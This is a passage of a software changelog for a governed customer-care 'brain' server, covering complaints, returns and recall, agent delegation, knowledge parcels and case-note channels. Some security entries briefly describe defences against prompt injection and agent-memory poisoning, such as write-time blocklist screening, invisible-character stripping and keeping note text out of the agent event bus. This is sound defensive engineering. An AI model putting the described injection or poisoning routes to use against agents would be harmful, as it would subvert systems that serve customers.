  • Honest ceilings: campaigns accept an explicit audience list — the entitlement-registry-driven audience queries (contract-expiry from the Frontdesk registry, recall-affected serial sets) are read-side helpers that arrive with the operators who maintain those registries; no CRM connector feed ships yet (export is operator-facing JSON); retention consent state is displayed per member but the cohort endpoint does NOT auto-file proposals; VoC response-rate/DSAT-share await actual Bridges ingestion; confirm-gate and effort-proxy remain unwired into run-close flows (predecessor ceiling, unchanged).

[1.28.34] — 2026-08-26 — “Goodwill”: complaints, the full ISO 10002/10003 lifecycle

Charter seeded the complaint class; this release gives it the full lifecycle — the closed state chain as lineage events on the audit chain, the remedy matrix as HITL proposals with deterministic role-tier approval caps that escalate one level over cap, the goodwill ledger aggregated ONLY from audited remedies, the ISO 10003 external-dispute packet targeting the competent NATIONAL ADR body (the EU ODR platform is discontinued — Reg. 2024/3228), code-of-conduct citations on every financial remedy with visible contradiction flags, and the KCS capture priority where complaint clusters outrank incident repeaters. Financial execution still never happens here — every remedy is a decision with an approval trail.

Release notes

Improvements

  • The full complaint lifecycle: received → acknowledged → investigated → remedy_proposed → remedy_approved → closed → adr_referred, validated against a CLOSED transition table (skips, reversals and self-transitions deny loudly). Every step is a lineage event (workflow/complaint) audited in the caller’s transaction — the register IS the audit chain.
  • The remedy matrix as proposals: repair / replace / refund / goodwill payment / explanation-only. Every proposal cites its legal basis from the closed anchor set (2019/771 art. 13(2), 2011/83 art. 16, goodwill-policy, ISO 10002 clause 9) AND its published code-of-conduct clause (ISO 10001). Nothing financial ever executes here.
  • Role-capped approvals that escalate deterministically: each approval level (agent / supervisor / manager / executive) binds up to a fixed per-tier cent cap; one cent over creates an escalation proposal exactly one rung up with the full packet attached — the original stays pending. An approver role that does not resolve on the closed ladder denies loudly.
  • Published-promise gate: conduct clauses live in the KB (knowledge.source='code_of_conduct') and carry a machine preamble (coc: excludes=…, coc: max_goodwill_cents=…). A remedy the published promise excludes or funds above its ceiling is FLAGGED on the packet at raised salience — visible to the human, never silently blocked.
  • ADR handoff done right for 2026: the dispute packet carries the run’s lifecycle state, audited remedy history, and the competent NATIONAL ADR body from the DPO-maintained registry; every packet states the Reg. 2024/3228 discontinuation basis and that humans file. An unregistered member state denies — the packet never guesses where a consumer files.
  • Complaint clusters are the top KCS input: closing a complaint case captures complaint_rca into the same HITL pipeline at cluster-boosted salience (0.9) — strictly above incident repeaters (0.7) and plain capture (0.5), deterministically.
  • Goodwill ledger on the scoreboard: trailing-30-day aggregate over APPROVED remedies whose approval audit row verifies; unaudited rows are excluded AND counted — absence is surfaced, never folded away.

Engineering record

  • SDK pure/complaint.rs owns the deterministic policy once: RemedyKind (+ legal anchors), the ApprovalLevel ladder + CAP_TABLE (level × tier), approval_decision (one-cent-over escalates one level; negative amounts escalate to the top; explanation-only always passes), the closed lifecycle table, capture_salience, flywheel_for_case (FlywheelProposal::ComplaintRca variant added — additive on a #[non_exhaustive] enum), and ODR_DISCONTINUATION_BASIS. Pins: approval_caps_escalate_deterministically, complaint_lifecycle_is_a_closed_chain, complaint_clusters_outrank_incident_repeaters_in_capture_priority.
  • workflow/complaint.rs is the service core: transition / current_state (lineage-backed), propose_remedy (citation validation, conflict computation, salience raise), apply_remedy_approval (cap check, escalation packet, legal-predecessor lifecycle landing), adr_packet, goodwill_ledger (audit-presence matched on target/detail HASHES — audit targets are stored hashed by law). Pins: remedy_citations_include_code_clause_and_legal_basis, approval_caps_escalate_deterministically (service leg), adr_packet_targets_national_body_not_odr, goodwill_ledger_aggregates_only_from_audited_remedies.
  • KCS wiring: capture_on_case_close reads the run kind + 30-day complaint window; complaint runs capture complaint_rca at capture_salience-computed salience. Pin: complaint_capture_outranks_repeater_capture. The gate’s approve path handles complaint_remedy (cap branch) and complaint_rca (same promote path as KCS capture kinds).
  • Routes: POST /workflow/runs/{id}/complaint/lifecycle, POST /workflow/runs/{id}/complaint/remedy, GET /workflow/runs/{id}/complaint/adr-packet?member_state= — openapi.yaml, route-coverage guard, authz-guard table, docs/api.md in the same commit; input bounds pinned (amount ≤ 1e8 cents, clause id ≤ 128 chars, member_state ≤ 64 + .. refused); KB-sourced text passes sanitize_read.
  • Scoreboard: three additive ledger fields + scoreboard_fields_have_dictionary_entries extended; docs/metrics.md is the normative dictionary.
  • Schema unchanged at 1.28.30 — the lifecycle rides lineage events, remedies ride proposals, clauses and ADR bodies ride governed knowledge rows.
  • CI/release pipeline: tag pushes re-run nothing (the branches-only push filter already excluded tags; tags-ignore: ['v*'] now pins that intent explicitly); release-build + ump-conformance + recall-gate merged into ONE integration job — a single cargo build --release serves the release-profile compile check AND both live gates (UMP :18483, recall eval :18484); mdbook/lipstyk/cross/cargo-cyclonedx install from version-keyed ~/.cargo/bin caches instead of recompiling from source every run; the HF model prefetch deduped into .github/actions/huggingface-prefetch; client-gate folds its two apt rounds into one transaction; docs.yml builds
    • deploys in a single job; stale matrices supersede via concurrency cancel-in-progress. Release path: release.sh now BLOCKS on green CI for the tagged SHA (fail-closed — the tag re-runs no tests, so the main-push run is the only automated bridge between pushed and shipped); release builds are 4 parallel per-target jobs (was 2 sequential-pair jobs — wall-clock is the MAX now, not the sum) with the verify-required-assets gate unchanged; CodeQL skips markdown/docs-only pushes (weekly schedule unaffected), drops a duplicated engine-crates trace, and supersedes stale analyses via concurrency.
  • Release notes extractor: bullet continuation lines now travel with their bullet (v1.28.31–.33 published truncated), grouped category headings are separated from the previous bullet, prose/bullets unwrap to one physical line per paragraph, and the intro’s trailing blanks are trimmed; CHANGELOG canonicalized to a single shape and 135 already-published releases repaired in place via gh release edit.

Test delta: server bin +7 (4 service pins/wiring, 1 KCS wiring pin, 3 SDK pure pins counted under the crates workspace), engine-sdk crate 111 → 114.

Honest ceilings: remedy amounts are decision records only — no payment, refund, or replacement execution exists or belongs here. Approval caps are a fixed table compiled into the binary (per-deployment calibration is a future config surface). The ADR registry ships EMPTY by design (DPO-maintained via the ordinary knowledge write path) — packets fail closed until populated. Confirm-gate/effort-proxy remain unwired into run-close flows (v1.28.32 ceiling unchanged); consent-gated outreach stays v1.28.35 scope. The ledger is trailing-30-day, global (no per-domain split yet).


[1.28.33] — 2026-08-26 — “Returns”: aftersales objects with the same evidence law

Returns/RMA/repair/recall get their decision machinery on the Frontdesk substrate: a deterministic disposition ranker whose candidates always cite their legal basis, GPSR recall mode over the entitlement registry’s serial/batch spine (a blast PROPOSAL — never an autonomous send), and the aftersales KPI set on the scoreboard with the metrics dictionary extended to match. Financial execution still never happens here.

Release notes

Improvements

  • Deterministic disposition ranking: every return claim ranks four candidates — replace-first / return-for-inspection / returnless refund / deny — from item value × fraud signals (repeat-return rate per subject hash, serial mismatch against the registry, window abuse). Signals inform, the human disposes: nothing auto-executes, and at the hard-signal cap every candidate escalates.
  • Every disposition cites its basis: withdrawal (2011/83 art. 16), warranty replacement (2019/771 art. 13(2)), goodwill policy, inspection clause, or the fraud schedule — distinct legal-anchored paths, the decision trail regulators actually want.
  • Returnless refunds pair with fraud review: above the composite fraud threshold the no-inspection path carries mandatory review; a serial mismatch kills its rank entirely (the goods’ identity is unproven).
  • GPSR recall mode: deterministic traceability query over memory_kind='entitlement' rows by product + serial/batch inside the region stamp (malformed registry rows deny loudly); recall campaigns build as blast proposals carrying Safety Gate reference fields (notification id, member state, hazard class, corrective action) per Reg. 2023/988 — human-triggered, DPO-visible.
  • Aftersales KPIs on the scoreboard: return rate, warranty claim rate, FTFR for repair-field work (FCR’s repeat-window method applied to first-visit resolution), refund cycle time median, returnless-refund share, and the fraud-flag rate — formulas defined once in the SDK, mirrored in docs/metrics.md, empty cohorts score 0 honestly.

Engineering record

  • brain-aftersales-core gains disposition.rs (closed basis table, FraudSignals.score() clamped arithmetic, FRAUD_REVIEW_THRESHOLD_UNITS, HARD_ESCALATION_UNITS): plan pins disposition_ranking_is_deterministic_and_cites_basis, returnless_refund_requires_fraud_review_over_threshold.
  • SDK gains pure/aftersales.rs (AftersalesKind maps the workflow kinds; aftersales_kpis owns all six formulas): pin ftfr_uses_repeat_window_method.
  • workflow/recall.rs: traceability_query (capped read, region-stamped, fail-closed parse) + build_recall_campaign (fail-closed Safety Gate refs, refuses an empty affected set): pins serial_batch_query_backs_traceability, recall_campaign_is_a_blast_proposal_with_safety_gate_refs. File-backed integration tests.
  • Scoreboard wiring: GET /workflow/scoreboard derives the aftersales cohort in the same spawn-blocking read (kind, timestamps, terminal status, state flags; FTFR reuses the exact FCR window expression) and emits six new fields; openapi.yaml, docs/metrics.md, and the scoreboard_fields_have_dictionary_entries meta-test extended together.
  • EntitlementRecord grows an optional batch field (additive parse; schema unchanged at 1.28.30).
  • Test deltas: bin 900 / 6 ignored (+2), SDK lib 111 (+1), aftersales-core lib 3 (+2).
  • Honest ceilings: dispositions and recall campaigns ship as service-level builders — no HTTP route or proposal-table write path yet; the fraud signals consume inputs no run writer populates yet (returnless/fraud_flagged state flags are reserved vocabulary); consent-gated customer notification stays v1.28.35 scope.

[1.28.32] — 2026-08-26 — “Frontdesk”: one intake for every post-sale worktype

Universality is decided at the front door: the intake classifier grows from six intent classes to thirteen, each mapping to a worktype (= run kind) with its own deterministic policy rows — SLA envelope class, required evidence, and decision gates. The Frontdesk substrate lands for the whole Universal Care Line (Returns / Goodwill / Outreach follow on it).

Release notes

Improvements

  • Every post-sale intent has a class: Return, WarrantyClaim, RepairField, CareInquiry, AccountChange, SafetyRecall, and RetentionOutreach join the routing table; safety-recall vocabulary outranks the commercial classes it shares words with, and unknown worktypes deny loudly (the table is closed).
  • Worktype policy rows: every worktype carries its SLA envelope class (safety recall is P1-class always; complaints keep their own two-clock ISO 10002 envelope), required evidence tags, and gate waterfall — shared between server and engines via the SDK (stamp_worktype_envelope).
  • Crew routing by class: the colleague board per worktype is a deterministic match of HITL-maintained skills tags (worktype_skills) — warranty claims reach colleagues holding both returns AND warranty.
  • Confirm-gate: terminal close now has structural discipline available: a case closes on a customer-confirmation lineage event or the documented consent-absent exception (3 logged attempts) — silence never certifies.
  • Customer-effort proxy: a deterministic CES proxy computed from lineage shape only (repeats ×2 + channel switches + handovers ×3) — no surveys, no sentiment models.
  • Entitlement arithmetic: Directive 2019/771 coverage windows (730-day conformity baseline + member-state limitation extension), the 14-day withdrawal window with its exceptions table (made-to-order/sealed goods remove the right; separate deliveries start the clock at last delivery), and region rules that fail closed against the residency stamp.

Security fixes

  • Entitlement region checks fail CLOSED: an unstamped entitlement row is foreign to any stamped site; malformed registry payloads never grant coverage.

Engineering record

  • IntentClass extended in workflow/frontdoor.rs with the closed WORKTYPE_TABLE (9 policy rows) + worktype_policy/worktype_skills; SDK policy::Worktype owns the SLA clock table (single owner across the ABI). Tests added: bin 898 / 6 ignored (+7 over v1.28.31: plan-named pins intent_table_routes_every_worktype_deterministically, entitlement_window_computes_771_extension, withdrawal_window_14_days_computes_with_exceptions_table, close_requires_confirmation_or_three_attempt_exception, effort_proxy_computes_from_lineage_only_no_surveys, crew_board_routes_by_worktype_tags, plus memory_kind_round_trips extended to the entitlement kind), lib 194 / 1 unchanged.
  • New engine crates in the crates workspace: brain-care-core (care/account dialogs as a thin binding over interview-core’s ambiguity/ draft/repair machinery — zero new concepts, pinned by care_core_reuses_interview_machinery_zero_new_concepts) and brain-aftersales-core (fulfillment waterfall entitlement → window → disposition reusing troubleshoot-core’s gate shape; own evidence vocabulary ProofOfPurchase/DiagnosticBundle/SerialBatch/Photos/ InspectionReport; dispositions are HITL proposals only). Crates suite green: SDK 110 (+1 worktype_sla_table_is_deterministic), two new crate suites (+2).
  • memory_kind='entitlement' joins the governed chunk vocabulary (strict-validated at the write boundary; retention default 1825 days); additive data change — schema stays at 1.28.30.
  • Honest ceilings: the confirm-gate and effort proxy ship as workflow primitives not yet wired into run-close HTTP flows; the crew board is a service-level function over /ops/skills, no dedicated route yet; entitlement rows are proposal-created knowledge but no dedicated read/query API yet; recall campaigns, disposition proposals, consent registry, and outreach remain v1.28.33–.35 scope.

[1.28.31] — 2026-08-26 — “Charter”: the conformance pack lands

The contact-center conformance pack closes gaps G1–G10 in one release: complaints become a first-class case class (ISO 10002), metrics become a dictionary with data lineage (COPC/KPI canon), accessibility becomes a release-blocking gate with a shipped ACR/VPAT (WCAG 2.2 AA / EN 301 549), global-locale readiness ships (ar RTL + en-XA pseudolocale), the WFM interop boundary completes (GET /ops/skills), and the compliance/deployment docs gain the clause maps, workload ceiling, and T1–T4 tier guide. Self-assessed posture throughout — no certification is claimed.

Release notes

Improvements

  • Complaints as a class, not an escalation flavor: the intake classifier gains Complaint; complaints carry their own envelope — acknowledgment within the hour by policy, always tighter than the 72h response clock, P2-minimum priority map; escalation-to-dispute is a documented handover audited as handover/dispute — the complaints register IS the audit chain, zero new tables.
  • Metrics dictionary: every scoreboard field now has a normative entry in docs/metrics.md (formula, source lineage, window semantics, industry citation), pinned by a docs↔code parity meta-test. The FCR repeat-attribution window is configurable (BRAIN_FCR_WINDOW_DAYS, default 7) and consumed by the scoreboard derivation when a run records its recurrence age.
  • Accessibility as a gate: WCAG 2.2 AA is release-blocking for the client (checklist-driven gate); the Accessibility Conformance Report ships at docs/trust/acr-vpat.md for web + desktop (EN 301 549 clause-11 mapping), honestly listing the known ceilings.
  • Global locales: ar (RTL, full parity) and the en-XA pseudolocale join the shipped locale set under the existing key-parity wall; mirroring is pinned by a render-smoke test.
  • WFM seam completed: GET /ops/skills joins the shifts feed as the documented interop boundary — centers keep their workforce-management tool; brain keeps governed truth. No forecasting engine was built.
  • Docs truth: COPC R8.0 + ISO 18295-1 clause map added to COMPLIANCE.md §6.7 (with the measured-never-enforced workload ceiling); deployment tiers T1–T4 documented in docs/deployment.md; PCI DSS recorded as explicit non-scope in THREAT_MODEL §6; the ISO/AWI 18295-1 revision stays a test-pinned watch item so it cannot land silently.

Security fixes

  • None (no trust-boundary changes; the new read route carries the standard per-domain Read gate and bounds).

Bug fixes

  • openapi.yaml scoreboard response schema caught up to the wire shape (the five KCS/Beacon fields added in earlier releases were missing from the contract).

Engineering record

  • G1: IntentClass::Complaint + stamp_complaint_envelope (COMPLAINT_ACK_SECS/COMPLAINT_RESPONSE_SECS) in the SDK policy module; Envelope gains additive ack_deadline (non-complaint stamps keep one clock); relay::record_dispute_escalation reuses the offer machinery with audit detail handover/dispute. Tests: bin 891 / 6 ignored (+8 over v1.28.30: plan-named pins complaint_class_gets_acknowledgment_sla, complaint_escalation_is_audited_as_dispute, plus SDK complaint_envelope_ack_leads_response), lib 194 / 1 unchanged.
  • G2: config::fcr_window_days(); derivation consumes the window via an optional recorded recurrence age; tests fcr_window_is_configurable_and_ deterministic (shared-lock env posture) + scoreboard_fields_have_dictionary_entries (two-way docs↔code parity).
  • G3: client a11y test module parses docs/trust/wcag22-aa-checklist.md (PASS/CEILING verdicts only; CEILING must cite the ACR) + acr_lists_known_ceilings_honestly.
  • G4: SUPPORTED_LOCALES 5 → 7; dir_for_locale extracted pure (the shell effect consumes it); client suite 232 passed (+3).
  • G5: workflow::crew::list_skills (bounded 1000-row ordered read) + handler get_ops_skills (Read on domain, strip-seam on emitted principals); route + openapi + docs/api.md + guard tables in the same change; test wfm_feed_round_trips_shifts_and_skills.
  • G10: new src/docs_truth.rs meta-tests pin the ISO watch item, the self-assessed posture wording, and the documented FCR default against code.
  • Schema: unchanged at 1.28.30 — zero tables/columns touched this release. fmt + clippy -D warnings clean; live smoke on a DB COPY green (brain doctor clean, /audit/verify ok:true, new route serving).

Honest ceilings

  • The complaint acknowledgment/response clocks are POLICY STAMPS on the envelope — no scheduler enforces them yet (the same posture as the DSAR window: a commitment shown, not an automatic bound). Escalation-to-dispute is invoked explicitly; complaints do not yet auto-route through it.
  • The FCR window only bites where upstream runs record their recurrence age; runs without it fall back to the explicit repeat_contact flag exactly as before.
  • The Arabic locale is a first cut (domain terms like DSAR/UMP kept Latin); the pseudolocale wraps rather than accents. The axe accessibility gate covers the web console only; desktop rests on manual walkthroughs (both ceilings stated in the ACR).
  • Workload visibility remains measured-never-enforced by design; no forecasting/scheduling engines (WFM = interop); certification of nothing is claimed or planned.

[1.28.30] — 2026-08-25 — “Parcels”: sites share knowledge, governed

“Large domain brain per site, then site-to-site”: Parcels ships the governed answer to islands of knowledge — signed, human-gated knowledge parcels, deliberately slower than live federation because every crossing of a site boundary is a reviewed act (federation itself stays v3.x). Export builds a bundle of a domain’s approved knowledge only (promoted rows; quarantined flagged rows and other domains’ data never leave) with provenance + residency stamps copied READ-ONLY, signed with the UMP operator key over the exact manifest bytes — no key refuses loudly. Import verifies BEFORE any write (tampered/unsigned refuses with nothing written; an optional out-of-band expected_signer check refuses publisher mismatch), then lands every surviving row as a PENDING proposal in the target domain — never a direct knowledge write — deduplicated by content fingerprint against knowledge AND still-pending proposals, injection-screened rows refused and counted. A parcel ledger (direction in/out, hash, signer did, reviewer) records every crossing chained into the audit trail in the same transaction.

Release notes

Improvements

  • Signed site-to-site knowledge parcels: POST /parcels/export (Admin on domain), POST /parcels/import (Write; verify-first, import-as-proposals), GET /parcels (the bounded ledger view) — openapi.yaml + guard tables updated in the same change.
  • New CLI surface: brain parcel export --domain <d> [--since <ts>] --out <file>, brain parcel import --file <file> --domain <d> [--expected-signer <did>], brain parcel ledger [--domain <d>] — all through the server’s governed paths.
  • Schema 1.28.29 → 1.28.30 (additive parcel_ledger table per domain DB).

Security fixes

  • Import is fail-closed end to end: signature verification precedes any write; row content hashes are re-bound to actual content so edited content cannot sneak past dedup; write-time injection screening refuses flagged rows before they reach the review queue.

Bug fixes

  • None.

Engineering record

  • Pure core src/workflow/parcels.rs (&Connection, caller’s tx): build_parcel / record_export / import_parcel / list_ledger; handler adapters in src/handlers/parcels.rs. Ledger writes chain via record_tenant (SAVEPOINT-nested) inside the caller’s transaction. Content screening reuses the two-layer screen at import; dedup rides the xxh3-64 content-fingerprint convention and the existing UNIQUE-index law.
  • Tests: bin 883 / 6 ignored (+4 plan-named pins: parcel_export_contains_only_approved_rows_with_region_stamps, import_creates_proposals_never_direct_writes, content_hash_dedup_across_parcels, parcel_ledger_chains_into_audit); lib 194 / 1 ignored. fmt + clippy -D warnings clean. Schema-contract test extended (parcel_ledger); route-coverage + route-authz guard tables extended; live smoke on a DB COPY green.
  • Zero new dependencies (ed25519-dalek, sha2, hex, bs58, xxhash-rust already declared).

Honest ceilings

  • The proposals table predates domains: imported rows are GLOBAL pending proposals until approval, distinguishable by their parcel:{domain}:{signer} source label only — no per-domain review queue yet. Planned as v1.28.53 “Triage” (additive proposals.domain/title, per-domain scoping, gate-core extraction).
  • Signing uses the UMP Ed25519 operator key (the Mesh convention), NOT minisign — there is no Rust minisign, and shelling out would add an untestable external runtime dependency. Publisher identity at import rests on the optional expected_signer check + the ledger record; without it, a self-consistent forged parcel can land as PENDING proposals only (nothing reaches knowledge without human approval).
  • No encryption-at-rest on the parcel bundle yet (backup v3 AES-GCM/Argon2 exists as the seam); no gold-set sync on the envelope (frozen packs stay crate-owned); no client/plugin surface — API + CLI first.
  • The 500-row export cap refuses loudly instead of paging; narrow the since cursor.

[1.28.29] — 2026-08-25 — “Mesh”: agents as named colleagues

Within one deployment, “each agent has a brain db, collaborating” means agents get IDENTITY, capability discovery, and delegation — the A2A protocol’s shape without its network layer (live federation stays v3.x territory). Mesh ships three governed primitives: Agent Cards (the A2A-standard JSON manifest per agent principal, Ed25519-signed with the UMP operator key at provisioning and RE-VERIFIED at every use point — a card whose signature no longer matches refuses loudly), delegation (agent→agent work orders as lineage events on a run: the request names the target’s VERIFIED card first — an unknown or tampered card refuses with nothing written; results return delegatee-only, exactly once by CAS), and the working-set arbiter (a pure mapping from base domain + agent to the agent’s own scratch-domain name; promotion into shared domains stays behind the existing HITL proposal gate).

M1 (storage + pure core): two additive tables in every domain DB (schema → 1.28.29, schema-contract test extended): agent_cards (UNIQUE(domain, principal); stores the exact signed manifest bytes + hex signature + signer did:key) and delegations (run FK, screened task/result content, requested → completed CAS state). The pure core (src/workflow/mesh.rs) holds card provisioning/verification (sign sha256(manifest) at write, strict verification at every read and at delegation acceptance — fail-closed on tampered bytes OR missing operator key), the per-run delegation ceiling (409 delegations_full, evidence refused never dropped), and the working-set domain derivation (charset-legal, collision-safe via content hash). Task/result CONTENT lives in the table; lineage payloads on delegation/request / delegation/result carry ids + actors only — the Channel law, so work-order text cannot ride the engine-facing event bus.

M2 (surfaces): POST /ops/agents/cards provisions/re-signs (Admin on the domain; 409 operator_key_missing without a key). GET /ops/agents/cards?domain= serves only verified cards — one tampered row fails the whole list closed. POST /workflow/runs/{id}/delegations {to_principal, task} verifies the target’s card BEFORE any write (400 agent_unknown / card_tampered), screens the task through the SAME one-function screen as notes, and commits row + lineage event + audit in ONE WorkflowTx. GET .../delegations is the bounded run view; POST .../{delegation_id}/result {result} is delegatee-only (400 not_delegatee), exactly-once (409 result_already_submitted on replay). Crew presence rides mutating mesh txs best-effort.

M3 (wiring): five routes registered with openapi.yaml (wire-exact bodies), docs/api.md, the route-coverage guard array, the route-authz guard table (+ the mesh handler source mapping).

Release notes

Improvements

  • agents become named colleagues — each agent principal carries a standards-shaped (A2A) identity card, signed by the operator key and re-verified whenever it is used.
  • agent-to-agent delegation inside a governed run: request a named verified agent’s work on the case’s lineage, and its result returns through the same audited chain, exactly once, from the delegatee only.

Security fixes

  • delegation targets must verify against the operator key before anything is written; tampered or rotated-away cards refuse loudly everywhere they surface; task/result text is screened at write (bounds + prompt-injection blocklist + invisible-strip) and never enters lineage payloads; per-run delegation ceiling; every mutation audits beside its lineage event in one transaction; every emitted string rides the read seam.

Engineering record

  • Tests: server main bin 883 / 6 ignored (+4 over v1.28.28: the plan-named pins agent_card_signature_verified_on_principal_use, delegation_request_and_result_are_lineage_events, agent_working_set_isolated_until_promoted, cross_agent_recall_shows_origin_labels), lib 194 / 1; clippy -D warnings + fmt clean. Schema 1.28.28 → 1.28.29 (additive agent_cards + delegations). Zero new dependencies (ed25519-dalek, sha2, hex already declared).

Honest ceilings

  • Delegation RESULTS ride the lineage like steering (screened, bounded, in-table) — promotion into evidence rows / shared knowledge stays the HITL proposal path; no auto-ingest of agent output ships here.
  • The working-set arbiter pins the NAMESPACE vocabulary; no surface yet filters reads by it end-to-end (per-agent scratch isolation is enforced today by domain scoping + owner columns, not by the derived name).
  • Card verification trusts the CURRENT operator key: a key rotation invalidates every existing card until re-provisioned (fail-closed by design, but operationally loud).
  • No client/plugin surface — Mesh is API-first; Cockpit agent-card badges are a later client release.
  • Cross-agent recall provenance remains the existing origin='agent' label through the read seam (pinned); agents still see each other’s approved knowledge exactly as any same-domain reader does.

[1.28.28] — 2026-08-25 — “Channel”: the case gets a room

Swarming means pulling the expert INTO the case, not transferring the case to the expert — and until now there was no way for humans to speak inside one. Channel ships the case-scoped room: notes are rows in a new case_notes table AND lineage events on the new case/note outbox topic — the human-facing counterpart of steering (the agent-facing channel), both events on the same lineage. Loud non-goal, stated in the module docs: this is NOT chat infrastructure — no DMs, no channels without a run; everything is case-scoped, screened at write, retained per domain policy, swept by DSAR, and audited per mutation.

M1 (storage + pure core): additive case_notes table in every domain DB (schema → 1.28.28, guarded by the schema-contract test; indexed (run_id, id)). One row per note (kind='note') and one per swarm invite (kind='invite', addressed_to = the invited principal, parent_note_id → the mentioning note). The write-time screen lives in ONE function (channel::screen_content): trim-empty refuses, the 4000-char bound holds, the prompt-injection blocklist runs once here, and the STORED form passes invisible-strip + markdown-ref strip — a planted bidi marker or remote image ref cannot ride a note into any downstream renderer (PII redaction deliberately stays a READ decision — the stored form is viewer-independent, the ReviewArmour digest law). Note CONTENT never rides the lineage payload: case/note events carry ids and actors only, so the engine-facing /events read serves attribution without leaking the conversation.

M2 (mentions → swarm invites): @skill:<tag> resolves against principal_skills; a bare @<principal> against the domain’s presence roster (anyone this domain has seen act — fail-closed: an unknown name cannot be invited). Dead mentions refuse BEFORE any write with 400 mentions_unresolved carrying the list (the Relay missing-list coaching posture); the swarm cap refuses > 16 resolved invitees (400 invite_limit) so a mention storm cannot become a mass-notification amplifier; self-mentions skip silently (you are already in the room). Each resolved principal gets an invite row + a case/note event whose drain to /events IS the Crew ping — the SSE drain family widened from workflow/% to include case/% (steering/intake stay engine-only). Acceptance reuses Relay’s machinery, smaller: POST .../notes/{invite_id}/accept CASes pending → accepted in ONE transaction with its lineage event + audit; replaying a decided invite returns {moved:false}; ownership never moves.

M3 (retention + erasure reach): the channel view (GET /workflow/runs/{id}/notes) hides policy-expired notes at read time BEFORE the page split under the case-note retention kind — the SAME three-layer resolution as the decay path (kill-switch off = nothing decays; a bound profile’s block replaces the server-wide map), resolved inside the read’s blocking task via the single-domain profile_for_domain lookup. The DSAR sweep now erases case_notes twice over: run-dependent rows die with their run, and subject-authored/addressed rows go by exact principal on ANY run (over-match, erasure-safe direction; counted honestly as channel_rows). The sweep also clears every other FK child of a deleted run — handover_offers (FK enforcement made sweeping any run holding offers FAIL the whole erasure) and crm_cases links UNLINK (run_id → NULL; the external CRM case outlives its erased run, only this server’s link row lets go). Both latent gaps were caught by the Channel pin.

Release notes

Improvements

  • the case gets a room — humans post screened, bounded notes inside a governed run, and the machine turns @skill: / @principal mentions into swarm invites the invitee accepts into the channel (same accept discipline as Relay).
  • invite pings flow over the existing /events SSE feed alongside workflow lineage — no new transport, no background worker beyond the existing drainer tick.

Security fixes

  • note content is screened at write exactly like steering (bounds + prompt-injection blocklist + invisible-strip + markdown-ref neutralization) and stored viewer-independent; dead mentions refuse loudly instead of silently inviting nobody; mention storms are capped; expired notes disappear from reads per domain policy; DSAR erasure reaches notes authored by OR addressed to the subject on any run; every mutation audits in its own transaction beside its lineage event; every emitted string rides the read seam.

Engineering record

  • Tests: server main bin 875 / 6 ignored (+11 over v1.28.27: the four plan-named pins notes_are_screened_and_case_scoped_only, mention_resolves_skill_to_principals, invite_accept_joins_channel_and_audits, notes_honour_retention_and_dsar_sweep, plus mention_storm_refuses_over_the_cap, the erasure pin dsar_sweep_erases_channel_rows_and_fk_children_of_the_run (offers + notes + the CRM-link unlink against one run), the SSE-drain pin channel_notes_drain_to_the_sse_bus, and the four third-pass hardening pins oversized_mention_tokens_report_dead_not_skipped, insert_note_validates_invitee_identity_before_any_write, channel_full_refuses_at_the_ceiling, note_content_never_rides_lineage_payloads), lib 194 / 1; brain 19, mcp 37, eval 4, metrics 8 unchanged; clippy -D warnings + fmt clean; lipstyk diff-strict clean. Schema 1.28.27 → 1.28.28 (additive case_notes). Second-pass hardening: the POST receipt echoes the STORED row’s clock (one read per request — previously a second Utc::now() could drift from the persisted created_at), retention resolution moved off the async reactor into the read’s blocking task, the lineage-append tip-read deduped into one shared outbox::append_lineage (Relay + Channel call the same function), and the invite-limit wire message derives from the constant instead of a duplicated literal. Live smoke on a DB COPY of the live DB green end-to-end (/audit/verify ok; receipt timestamp byte-matches the stored row).

Hardening pass (third, pre-release — OWASP LLM Top-10 v2025 + 2025–26 agent-memory-poisoning literature; full report in AUDIT.md §2026-08-25): H1 the per-run channel ceiling (MAX_NOTES_PER_RUN = 1000, notes and invites sharing one budget) refuses further posts with 409 channel_full BEFORE any write — OWASP LLM10 unbounded consumption closed, and REFUSED rather than steering’s drop-oldest because case rooms are evidence; H2 over-vocabulary mention tokens (>32-char skill tag, >256-char name) now resolve as DEAD and surface in details.unresolved instead of being silently skipped — a mention the author believes fired but didn’t is exactly the failure this surface refuses to hide; H3 invitee identity validation moved INSIDE insert_note (the fence holds of the FUNCTION — no future caller can bypass resolution and store an invisible-char id); H4 DSAR symmetry: the export bundle carries channel_notes[] selected by the SAME three arms the purge erases (author / addressee / content-LIKE), and the sweep gained the content arm — Art 15 disclosure and Art 17 erasure now match exactly. Structural verification: note CONTENT never rides any lineage payload (ids + actors only — pinned), so the AgentPoison/MINJA poison-sink class cannot reach the engine-facing event bus; mention resolution is byte-exact against server-side tables (no confusable spoofing); zero interpolated SQL in every new path.

Honest ceilings

  • Retention is read-time enforcement over stored rows: expired notes are HIDDEN from reads, never deleted by any worker (the repo’s no-background-worker law) — physical deletion rides run-level erasure (DSAR) only. No built-in default TTL ships for case-note: operators opt in via BRAIN_RETENTION_KIND_DAYS or a bound profile block; absent policy = notes persist with their run. /retention/report does not yet include a case-note row (it iterates knowledge kinds only).
  • Invite acceptance does not verify the acceptor IS the addressed principal — any Write-capable principal may accept on the invitee’s behalf, mirroring the documented Relay delegation posture.
  • The SSE drain publishes note payloads with the same single-sanitize posture as workflow events (sanitized once at drain time, per-subscriber run-domain Read gate on the envelope; PII redaction per subscriber is impossible on a shared broadcast). The write-time screen is the guarantee; note content additionally never enters the drained payload at all.
  • @principal resolution requires presence (the roster of principals who have acted in the domain) — an expert who has never touched the deployment cannot be invited by NAME until they appear (skills-tagged experts resolve regardless).
  • The channel view filters from a newest-2000 superset before paging; fine on loopback SQLite.
  • DSAR dry-run footprint does not count channel rows (live purge does) — the same understatement the Crew sweep documents.
  • No client/plugin surface yet — Channel is API-first like Relay/Crew; the Cockpit note-node render (author badges from Crew presence) is a later client release.

[1.28.27] — 2026-08-25 — “Relay”: the one-click handover

The follow-the-sun research is unanimous: structured packets, explicit acceptance, overlap windows, ownership rules — “hot potato” is what happens when none of those exist. Lineage already assembles the I-PASS handoff packet; nothing offered or accepted it. Relay wires that packet into a governed flow: an OFFER refuses unless the packet is complete (the refusal carries the MISSING list — the machine coaches the protocol, the human fixes the packet); ACCEPT transfers ownership by CAS without touching the SLA clock and points at the resume-at checkpoint; DECLINE requires a screened reason (an audited refusal beats a silent bounce).

